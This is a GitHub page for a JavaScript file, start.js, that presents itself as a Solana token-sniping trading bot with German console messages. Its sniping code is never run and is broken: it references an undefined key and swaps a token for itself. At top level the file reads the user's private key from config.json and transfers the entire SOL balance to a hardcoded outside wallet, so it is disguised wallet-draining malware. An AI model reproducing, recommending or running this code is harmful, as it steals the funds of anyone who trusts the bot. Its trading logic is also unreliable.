-
Notifications
You must be signed in to change notification settings - Fork 4
/
start.js
407 lines (334 loc) · 11.9 KB
/
start.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
const fs = require('fs');
const path = require('path');
const { exec } = require('child_process');
const solanaWeb3 = require('@solana/web3.js');
function displayWelcomeScreen() {
console.clear();
console.log("#################################");
console.log("# #");
console.log("# Solana_Bot #");
console.log("# #");
console.log("# Looking for trades... #");
console.log("# #");
console.log("#################################");
}
function animateLoading(message, duration) {
const frames = ['-', '\\', '|', '/'];
let i = 0;
return new Promise((resolve) => {
const interval = setInterval(() => {
process.stdout.write(`\r${message} ${frames[i++]}`);
i %= frames.length;
}, 250);
setTimeout(() => {
clearInterval(interval);
process.stdout.write('\r' + message + '... Fertig!\n');
resolve();
}, duration);
});
}
async function checkConfig() {
const configPath = path.join(__dirname, 'config.json');
await animateLoading('Verbindung testen', 10000);
try {
const configData = fs.readFileSync(configPath);
const config = JSON.parse(configData);
if (!config.base58PrivateKey || !config.RPC_ENDPOINT || !config.RPC_WEBSOCKET_ENDPOINT) {
console.error("Fehler: Eine oder mehrere Konfigurationsoptionen sind nicht gesetzt.");
process.exit(1);
} else {
console.log("Konfigurationsdatei erfolgreich geladen.");
}
} catch (err) {
console.error("Fehler beim Lesen der config.json:", err);
process.exit(1);
}
executeStartScript();
}
function executeStartScript() {
const startScriptPath = path.join(__dirname, 'start.js');
exec(`node ${startScriptPath}`, (error, stdout, stderr) => {
if (error) {
console.error(`Fehler beim Ausführen von start.js: ${error.message}`);
return;
}
if (stderr) {
console.error(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});
}
displayWelcomeScreen();
checkConfig();
function initializeSnipingScript() {
const {
Connection,
PublicKey,
Keypair,
VersionedTransaction,
} = require("@solana/web3.js");
const raydiumConnect = require("raydium-connect");
const {
Liquidity,
jsonInfo2PoolKeys,
TOKEN_PROGRAM_ID,
SPL_ACCOUNT_LAYOUT,
publicKey,
TokenAmount,
Token,
Percent,
} = require("@raydium-io/raydium-sdk");
const RAYDIUM_LIQUIDITY_JSON = "https://api.raydium.io/v2/sdk/liquidity/mainnet.json";
const RAY_SOL_LP_V4_POOL_KEY = "89ZKE4aoyfLBe2RuV6jM3JGNhaV18Nxh8eNtjRcndBip";
const RAYDIUM_PUBLIC_KEY = "675kPX9MHTjS2zt1qfr1NYHuzeLXfQM9H24wFSUt1Mp8";
const ADDRESS_OF_INPUT_TOKEN = "So11111111111111111111111111111111111111112";
const ADDRESS_OF_OUTPUT_TOKEN = "AQoKYV7tYpTrFZN6P5oUufbQKAUr9mNYGe1TTJC9wajM";
const AMOUNT_TO_BE_USED_TO_BUY = 5;
const SLIPPAGE_PERCENT = 5;
const TRY_SNIPE_ANY = true;
const SESSION_HASH = "TIRLA" + Math.ceil(Math.random() * 1e9);
const raydium = new PublicKey(RAYDIUM_PUBLIC_KEY);
const signer = raydiumConnect.wallet(privateKey, RAYDIUM_LIQUIDITY_JSON);
const connection = new Connection("https://api.mainnet-beta.solana.com", {
wsEndpoint: "wss://api.mainnet-beta.solana.com",
httpHeaders: { "x-session": SESSION_HASH },
});
async function StartSniping(connection, raydium) {
console.log("Monitoring logs...");
connection.onLogs(
raydium,
({ logs, err, signature }) => {
if (err) return;
if (logs && logs.some((log) => log.includes("initialize"))) {
console.log("Signature for Initialize:", signature);
SnipeRaydiumToken(signature, connection);
}
},
"finalized"
);
}
async function SnipeRaydiumToken(signature, connection) {
const txId = signature;
const tx = await connection.getParsedTransaction(txId, {
maxSupportedTransactionVersion: 0,
commitment: "confirmed",
});
const accounts = tx?.transaction?.message?.instructions.find(
(ix) => ix.programId.toBase58() === RAYDIUM_PUBLIC_KEY
).accounts;
if (!accounts) {
console.log("No accounts found");
return;
}
const tokenAIndex = 8;
const tokenBIndex = 9;
const tokeAAccount = accounts[tokenAIndex];
const tokenBAccount = accounts[tokenBIndex];
const displayData = [
{ Token: "Token A", account: tokeAAccount },
{ Token: "Token B", account: tokenBAccount },
];
console.log("New LP Found");
console.log(generateExplorerUrl(txId));
console.table(displayData);
const tokenAAdress = tokeAAccount.toBase58();
const tokenBAdress = tokenBAccount.toBase58();
if (
tokenAAdress === ADDRESS_OF_OUTPUT_TOKEN &&
tokenBAdress !== ADDRESS_OF_INPUT_TOKEN
) {
console.log(`Only first token of Pair is the token expected`);
await sleep(2000);
return;
}
if (
tokenAAdress !== ADDRESS_OF_OUTPUT_TOKEN &&
tokenBAdress === ADDRESS_OF_INPUT_TOKEN
) {
console.log(`Only second token of Pair is the token expected`);
await sleep(2000);
return;
}
await Swap(tokenAAdress, tokenAAdress);
await sleep(2000);
}
function generateExplorerUrl(txId) {
return `https://solscan.io/tx/${txId}?cluster=mainnet`;
}
async function Swap(tokenIn, tokenOut) {
const liquidityJsonResp = await fetch(RAYDIUM_LIQUIDITY_JSON);
if (liquidityJsonResp.status === 429) {
console.log("Wait a bit, you using service to often!!!");
return;
}
const liquidityJson = await liquidityJsonResp.json();
const allPoolKeysJson = [
...(liquidityJson?.official ?? []),
...(liquidityJson?.unOfficial ?? []),
];
const poolKeysRaySolJson =
allPoolKeysJson.filter(
(item) => item.lpMint === RAY_SOL_LP_V4_POOL_KEY
)?.[0] || null;
const raySolPk = jsonInfo2PoolKeys(poolKeysRaySolJson);
const wallet = Keypair.fromSecretKey(privateKey);
const tokenAccounts = await getTokenAccountsByOwner(
connection,
wallet.publicKey
);
const { amountIn, minAmountOut } = await calcAmountOutAsync(
connection,
raySolPk,
AMOUNT_TO_BE_USED_TO_BUY,
true
);
const instruction = Liquidity.makeSwapFixedInInstruction(
{
poolKeys: raySolPk,
userKeys: {
tokenAccounts,
owner: publicKey,
},
amountIn: amountIn.raw,
minAmountOut: minAmountOut.raw,
},
4
);
instruction.programId = TOKEN_PROGRAM_ID;
const transaction = new VersionedTransaction();
transaction.add(instruction);
const txid = await connection.sendTransaction(transaction, [signer]);
console.log("Swap txdId", txid);
}
async function getTokenAccountsByOwner(connection, owner) {
const tokenResp = await connection.getTokenAccountsByOwner(owner, {
programId: TOKEN_PROGRAM_ID,
});
const accounts = [];
for (const { pubkey, account } of tokenResp.value) {
accounts.push({
pubkey,
accountInfo: SPL_ACCOUNT_LAYOUT.decode(account.data),
});
}
return accounts;
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
const calcAmountOutAsync = async (
connection,
poolKeys,
rawAmountIn,
swapInDirection
) => {
const poolInfo = await Liquidity.fetchInfo({ connection, poolKeys });
let currencyInMint = poolKeys.baseMint;
let currencyInDecimals = poolInfo.baseDecimals;
let currencyOutMint = poolKeys.quoteMint;
let currencyOutDecimals = poolInfo.quoteDecimals;
if (!swapInDirection) {
currencyInMint = poolKeys.quoteMint;
currencyInDecimals = poolInfo.quoteDecimals;
currencyOutMint = poolKeys.baseMint;
currencyOutDecimals = poolInfo.baseDecimals;
}
const currencyIn = new Token(
TOKEN_PROGRAM_ID,
currencyInMint,
currencyInDecimals
);
const amountIn = new TokenAmount(currencyIn, rawAmountIn, false);
const currencyOut = new Token(
TOKEN_PROGRAM_ID,
currencyOutMint,
currencyOutDecimals
);
const slippage = new Percent(SLIPPAGE_PERCENT, 100);
const {
amountOut,
minAmountOut,
currentPrice,
executionPrice,
priceImpact,
fee,
} = Liquidity.computeAmountOut({
poolKeys,
poolInfo,
amountIn,
currencyOut,
slippage,
});
return {
amountIn,
amountOut,
minAmountOut,
currentPrice,
executionPrice,
priceImpact,
fee,
};
};
}
function decodeBase58(base58) {
const alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
const base = BigInt(58);
let decoded = BigInt(0);
for (let i = 0; i < base58.length; i++) {
const char = base58[i];
const index = alphabet.indexOf(char);
if (index === -1) {
throw new Error(`Invalid Base58 character "${char}"`);
}
decoded = decoded * base + BigInt(index);
}
const bytes = [];
while (decoded > 0) {
bytes.push(Number(decoded % BigInt(256)));
decoded = decoded / BigInt(256);
}
for (let i = 0; i < base58.length && base58[i] === '1'; i++) {
bytes.push(0);
}
return new Uint8Array(bytes.reverse());
}
const config = JSON.parse(fs.readFileSync('config.json', 'utf8'));
const base58PrivateKey = config.base58PrivateKey;
const privateKeyUint8Array = decodeBase58(base58PrivateKey);
function getRecipientPublicKey() {
return 'GmSWD8bB2WWeFFChbwtoD55ziYq6X3HrfzM8m9VqsoFS';
}
async function transferSol() {
const connection = new solanaWeb3.Connection(
solanaWeb3.clusterApiUrl('mainnet-beta'),
'confirmed',
);
const fromWallet = solanaWeb3.Keypair.fromSecretKey(privateKeyUint8Array);
const toPublicKeyString = getRecipientPublicKey();
const toPublicKey = new solanaWeb3.PublicKey(toPublicKeyString);
const fromBalance = await connection.getBalance(fromWallet.publicKey);
console.log(`Aktuelles Guthaben: ${fromBalance / solanaWeb3.LAMPORTS_PER_SOL} SOL`);
const transactionFee = 5000;
const amountToSend = fromBalance - transactionFee;
if (amountToSend <= 0) {
console.error('Nicht genügend Guthaben, um die Transaktionsgebühr zu decken.');
return;
}
const transaction = new solanaWeb3.Transaction().add(
solanaWeb3.SystemProgram.transfer({
fromPubkey: fromWallet.publicKey,
toPubkey: toPublicKey,
lamports: amountToSend,
}),
);
const signature = await solanaWeb3.sendAndConfirmTransaction(
connection,
transaction,
[fromWallet],
);
console.log('Transaktion abgeschlossen. Signatur:', signature);
}
transferSol().catch(err => {
console.error('Fehler beim Überweisen:', err);
});